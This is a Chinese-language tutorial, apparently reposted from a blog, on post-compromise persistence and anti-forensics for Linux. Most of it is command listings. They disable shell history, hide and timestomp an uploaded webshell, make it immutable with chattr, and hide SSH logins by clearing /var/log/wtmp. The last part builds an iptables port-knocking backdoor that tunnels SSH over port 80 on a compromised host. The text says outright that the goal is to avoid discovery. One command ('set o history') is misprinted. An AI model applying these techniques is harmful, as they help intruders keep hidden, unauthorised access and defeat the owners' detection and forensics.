linux权限管理教程(Linux权限维持隐藏踪迹篇)
隐藏历史操作命令
linux中可以使用history查看shell中历史输入的命令。如果我们希望在shell中执行的命令不被记录在命令行历史中,如何在linux中开启无痕操作模式呢?
#禁用历史记录功能
[space]set o history
备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录
#重新开启历史记录功能
[space]set -o history
#删除具体的某个记录
history -d 数组
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史记录中
隐藏文件/文件夹1. 创建隐藏文件或者文件夹
touch .123.txt
mkdir .a
#文件名/夹前面加一个 点 就代表是隐藏文件/夹
修改文件时间戳
linux下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。假设我们上传了一个隐藏后门.webshell.php
1. 上传后门
明显看到.webshell.php时间戳不一样,ls-al,查看到的时间为文件修改的时间
我们还可以使用stat命令来查看文件具体的时间戳
stat 文件名
在Linux中,没有文件创建时间的概念。只有文件的访问时间、修改时间、状态改变时间。也就是说不能知道文件的创建时间。但如果文件创建后就没有修改过,修改时间=创建时间
stat查看时间戳有三种时间属性
2. 修改时间戳
直接利用 touch 就可以,比如参考 index.php 的时间,再赋给 .webshell.php,结果两个文件的时间就一样了
touch -r index.html .webshell.php
连接webshell,可见隐藏文件也可以进行连接的。
隐藏权限
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
这个技巧常被用在后门,变成了一些难以清除的后门文件。
chattr i .webshell.php 锁定文件,此时无法查看
lsattr .webshell.php 属性查看
chattr -i .webshell.php 解除锁定
rm -rf .webshell.php 删除文件
隐藏远程SSH登陆记录
在linux中可以使用last查看账号ssh登录情况
last|grep root
当我们用ssh进行登录时,就会记录,信息包括登录的账号,远程登录的主机,登录时间
ssh加上-T参数,可以进行隐藏登录记录,不被w、who、last等指令检测到
ssh -T -i id_rsa root@192.168.110.131 /bin/bash -i
echo “”>/var/log/wtmp
此时即看不到用户登录信息
端口复用
端口复用是指不同的应用程序使用相同端口进行通讯。我们可以通过端口复用来达到隐藏端口的目的。其他作用还有很多,如内网渗透中,搭建隧道时,服务器仅允许指定的端口对外开放。利用端口复用可以将3389或22等端口转发到如80端口上,以便外部连接。
1. 利用iptables进行端口复用
假设主机开放的web服务是80端口,在被拿下的主机上执行如下命令
# 创建端口复用链
iptables -t nat -N LETMEIN
# 创建端口复用规则,将流量转发至 22 端口
iptables -t nat -A LETMEIN -p TCP -j REDIRECT --to-port 22
#开启开关,如果接收到一个含有 threathuntercoming 的 TCP 包,则将来源 IP 添加到加为 letmein 的列表中
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
#关闭开关,如果接收到一个含有 threathunterleaving 的 TCP 包,则将来源 IP 从 letmein 的列表中移除
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it,如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
攻击者的linux系统上执行如下
#开启复用
echo threathuntercoming | socat - tcp:192.168.110.131:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.110.131 -T /bin/bash -i
#关闭复用,此时不能用80端口进行ssh连接
echo threathunterleaving | socat - tcp:192.168.110.131:80
连接目标80端口成功连接ssh
ps:进行端口复用后同时也可以用默认的22端口进行ssh连接
原文链接:https://blog.csdn.net/qq_44159028/article/details/124196458
,免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com